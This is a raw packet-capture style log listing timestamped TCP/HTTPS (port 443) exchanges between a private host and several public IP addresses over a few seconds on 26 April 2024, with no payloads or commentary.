Apr 26, 2024 09:59:10.246279955 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.246901989 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.246962070 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.246999979 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.247014046 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.247041941 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.247056961 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.247697115 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.247765064 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.247787952 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.247803926 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.247998953 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.248066902 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.248512030 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.248605013 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.248626947 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.248655081 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.248677015 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.248720884 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.248831987 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.248897076 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.248907089 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.249083996 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.249295950 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.263077021 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.263112068 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.290494919 CEST	49742	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:10.317954063 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.318008900 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.569945097 CEST	49745	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:10.570003986 CEST	443	49745	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:10.570173979 CEST	49745	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:10.570509911 CEST	49745	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:10.570539951 CEST	443	49745	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:10.714484930 CEST	49746	443	192.168.2.4	23.213.224.106
Apr 26, 2024 09:59:10.714529991 CEST	443	49746	23.213.224.106	192.168.2.4
Apr 26, 2024 09:59:10.714662075 CEST	49746	443	192.168.2.4	23.213.224.106
Apr 26, 2024 09:59:10.716454983 CEST	49746	443	192.168.2.4	23.213.224.106
Apr 26, 2024 09:59:10.716475010 CEST	443	49746	23.213.224.106	192.168.2.4
Apr 26, 2024 09:59:10.859203100 CEST	49742	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:10.860438108 CEST	49747	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:10.860508919 CEST	443	49747	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:10.860598087 CEST	49747	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:10.861200094 CEST	49747	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:10.861232042 CEST	443	49747	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:10.877232075 CEST	49748	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.877278090 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.877351999 CEST	49748	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.888947964 CEST	49748	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.888959885 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.900130033 CEST	443	49742	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:10.963762999 CEST	443	49745	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:10.964181900 CEST	49745	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:10.964217901 CEST	443	49745	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:10.965120077 CEST	443	49745	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:10.965203047 CEST	49745	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:10.965220928 CEST	443	49745	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:10.965297937 CEST	49745	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:10.968173027 CEST	49745	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:10.968239069 CEST	443	49745	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:10.968436003 CEST	49745	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:10.968615055 CEST	49745	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:10.968628883 CEST	443	49745	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:10.986644983 CEST	443	49746	23.213.224.106	192.168.2.4
Apr 26, 2024 09:59:10.986715078 CEST	49746	443	192.168.2.4	23.213.224.106
Apr 26, 2024 09:59:10.991270065 CEST	49746	443	192.168.2.4	23.213.224.106
Apr 26, 2024 09:59:10.991285086 CEST	443	49746	23.213.224.106	192.168.2.4
Apr 26, 2024 09:59:10.991698980 CEST	443	49746	23.213.224.106	192.168.2.4
Apr 26, 2024 09:59:11.008460999 CEST	49745	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:11.041026115 CEST	49746	443	192.168.2.4	23.213.224.106
Apr 26, 2024 09:59:11.097081900 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.097122908 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.097428083 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.097980976 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.098000050 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.140187025 CEST	443	49742	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.140284061 CEST	443	49742	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.140341043 CEST	49742	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.210903883 CEST	49742	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.210928917 CEST	443	49742	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.242142916 CEST	49746	443	192.168.2.4	23.213.224.106
Apr 26, 2024 09:59:11.255279064 CEST	443	49747	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.255901098 CEST	49747	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.255920887 CEST	443	49747	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.256463051 CEST	443	49747	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.257152081 CEST	49747	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.257258892 CEST	443	49747	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.257620096 CEST	49747	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.258019924 CEST	49747	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.258059025 CEST	443	49747	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.274765015 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:11.275418997 CEST	49748	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:11.275437117 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:11.276647091 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:11.277879953 CEST	49748	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:11.278055906 CEST	443	49748	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:11.284122944 CEST	443	49746	23.213.224.106	192.168.2.4
Apr 26, 2024 09:59:11.322457075 CEST	49748	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:11.368516922 CEST	443	49746	23.213.224.106	192.168.2.4
Apr 26, 2024 09:59:11.368655920 CEST	443	49746	23.213.224.106	192.168.2.4
Apr 26, 2024 09:59:11.369019985 CEST	49746	443	192.168.2.4	23.213.224.106
Apr 26, 2024 09:59:11.369059086 CEST	443	49746	23.213.224.106	192.168.2.4
Apr 26, 2024 09:59:11.369071960 CEST	49746	443	192.168.2.4	23.213.224.106
Apr 26, 2024 09:59:11.369081020 CEST	443	49746	23.213.224.106	192.168.2.4
Apr 26, 2024 09:59:11.459956884 CEST	49751	443	192.168.2.4	23.213.224.106
Apr 26, 2024 09:59:11.459990025 CEST	443	49751	23.213.224.106	192.168.2.4
Apr 26, 2024 09:59:11.460151911 CEST	49751	443	192.168.2.4	23.213.224.106
Apr 26, 2024 09:59:11.460721970 CEST	49751	443	192.168.2.4	23.213.224.106
Apr 26, 2024 09:59:11.460733891 CEST	443	49751	23.213.224.106	192.168.2.4
Apr 26, 2024 09:59:11.482008934 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.482419014 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.482440948 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.483401060 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.483483076 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.483491898 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.483531952 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.484054089 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.484126091 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.484285116 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.484297037 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.484323978 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.484366894 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.488275051 CEST	443	49745	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:11.488291025 CEST	443	49745	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:11.488352060 CEST	49745	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:11.488356113 CEST	443	49745	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:11.488424063 CEST	49745	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:11.489276886 CEST	49745	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:11.489286900 CEST	443	49745	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:11.525855064 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.539170980 CEST	443	49747	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.539252996 CEST	49747	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.539263010 CEST	443	49747	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.539309978 CEST	49747	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.540988922 CEST	49747	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.541007042 CEST	443	49747	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.717571020 CEST	443	49751	23.213.224.106	192.168.2.4
Apr 26, 2024 09:59:11.717662096 CEST	49751	443	192.168.2.4	23.213.224.106
Apr 26, 2024 09:59:11.721270084 CEST	49751	443	192.168.2.4	23.213.224.106
Apr 26, 2024 09:59:11.721276999 CEST	443	49751	23.213.224.106	192.168.2.4
Apr 26, 2024 09:59:11.721601009 CEST	443	49751	23.213.224.106	192.168.2.4
Apr 26, 2024 09:59:11.724277973 CEST	49751	443	192.168.2.4	23.213.224.106
Apr 26, 2024 09:59:11.768147945 CEST	443	49751	23.213.224.106	192.168.2.4
Apr 26, 2024 09:59:11.785043001 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.785049915 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.785113096 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.785130024 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.785376072 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.785433054 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.785446882 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.785476923 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.785504103 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.785521030 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.785949945 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.786019087 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.786032915 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.832494020 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.866904974 CEST	49752	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.866977930 CEST	443	49752	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.867053032 CEST	49752	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.871454000 CEST	49752	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.871486902 CEST	443	49752	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.909707069 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.909718990 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.909769058 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.909811974 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.909823895 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.910039902 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.910103083 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.910115004 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.910402060 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.910465956 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.910478115 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.910835028 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.910897017 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.910924911 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.911158085 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.911231995 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.911247015 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.912163973 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.912225962 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.912239075 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:11.953320026 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:11.967761993 CEST	443	49751	23.213.224.106	192.168.2.4
Apr 26, 2024 09:59:11.967828035 CEST	443	49751	23.213.224.106	192.168.2.4
Apr 26, 2024 09:59:11.967983961 CEST	49751	443	192.168.2.4	23.213.224.106
Apr 26, 2024 09:59:11.970429897 CEST	49751	443	192.168.2.4	23.213.224.106
Apr 26, 2024 09:59:11.970441103 CEST	443	49751	23.213.224.106	192.168.2.4
Apr 26, 2024 09:59:11.970503092 CEST	49751	443	192.168.2.4	23.213.224.106
Apr 26, 2024 09:59:11.970508099 CEST	443	49751	23.213.224.106	192.168.2.4
Apr 26, 2024 09:59:12.035872936 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.035931110 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.036349058 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.036423922 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.036436081 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.036484957 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.036567926 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.036621094 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.037369967 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.037463903 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.037475109 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.037523985 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.039012909 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.039124012 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.039135933 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.039450884 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.039525986 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.039539099 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.040075064 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.040139914 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.040153027 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.040572882 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.040640116 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.040652037 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.041096926 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.041151047 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.041165113 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.041512966 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.041570902 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.041584015 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.086318016 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.161544085 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.161622047 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.161639929 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.162661076 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.162727118 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.162734985 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.166706085 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.167563915 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.167994976 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.169229984 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.171688080 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.172108889 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.172171116 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.173079014 CEST	49750	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.173093081 CEST	443	49750	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.254007101 CEST	443	49752	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.254302025 CEST	49752	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.254331112 CEST	443	49752	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.254648924 CEST	443	49752	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.255076885 CEST	49752	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.255145073 CEST	443	49752	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.255347967 CEST	49752	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.255386114 CEST	443	49752	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.414366007 CEST	443	49752	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.414422035 CEST	49752	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.414436102 CEST	443	49752	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.414458990 CEST	443	49752	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.414505959 CEST	49752	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.415093899 CEST	49752	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.415123940 CEST	443	49752	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:12.415147066 CEST	49752	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.415172100 CEST	49752	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:12.742651939 CEST	49761	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:12.742679119 CEST	443	49761	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:12.742954969 CEST	49761	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:12.743263960 CEST	49761	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:12.743278980 CEST	443	49761	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:13.132808924 CEST	443	49761	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:13.158350945 CEST	49761	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:13.158360004 CEST	443	49761	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:13.159852982 CEST	443	49761	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:13.159910917 CEST	49761	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:13.159917116 CEST	443	49761	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:13.159956932 CEST	49761	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:13.160693884 CEST	49761	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:13.160773993 CEST	443	49761	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:13.161099911 CEST	49761	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:13.161108017 CEST	443	49761	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:13.214108944 CEST	49761	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:13.323188066 CEST	443	49761	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:13.323200941 CEST	443	49761	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:13.323268890 CEST	443	49761	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:13.323270082 CEST	49761	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:13.323286057 CEST	443	49761	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:13.323308945 CEST	49761	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:13.323367119 CEST	443	49761	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:13.323529005 CEST	49761	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:13.328408003 CEST	49761	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:13.328419924 CEST	443	49761	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:13.328448057 CEST	49761	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:13.328480959 CEST	49761	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:13.409507990 CEST	49768	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:13.409548044 CEST	443	49768	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:13.409702063 CEST	49768	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:13.411730051 CEST	49768	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:13.411751032 CEST	443	49768	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:13.413549900 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:13.413569927 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:13.414257050 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:13.418236017 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:13.418255091 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:13.794802904 CEST	443	49768	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:13.798172951 CEST	49768	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:13.798196077 CEST	443	49768	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:13.798520088 CEST	443	49768	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:13.800625086 CEST	49768	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:13.800697088 CEST	443	49768	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:13.801330090 CEST	49768	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:13.801367998 CEST	443	49768	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:13.802288055 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:13.804447889 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:13.804467916 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:13.804758072 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:13.808291912 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:13.808352947 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:13.810064077 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:13.810097933 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:13.810127020 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:13.810151100 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:13.963730097 CEST	443	49768	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:13.963797092 CEST	49768	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:13.963823080 CEST	443	49768	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:13.963846922 CEST	443	49768	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:13.963895082 CEST	49768	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:13.964309931 CEST	49768	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:13.964342117 CEST	443	49768	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:13.964370012 CEST	49768	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:13.964390993 CEST	49768	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:14.389096022 CEST	49774	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:14.389183998 CEST	443	49774	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:14.389568090 CEST	49774	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:14.401973009 CEST	49774	443	192.168.2.4	52.108.9.12
Apr 26, 2024 09:59:14.402009964 CEST	443	49774	52.108.9.12	192.168.2.4
Apr 26, 2024 09:59:14.735439062 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.735588074 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.735646963 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:14.735666037 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.735799074 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.735852003 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:14.735860109 CEST	443	49769	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:14.735897064 CEST	49769	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:14.735974073 CEST	443	49769	52.108.8.12	192.168.2.4
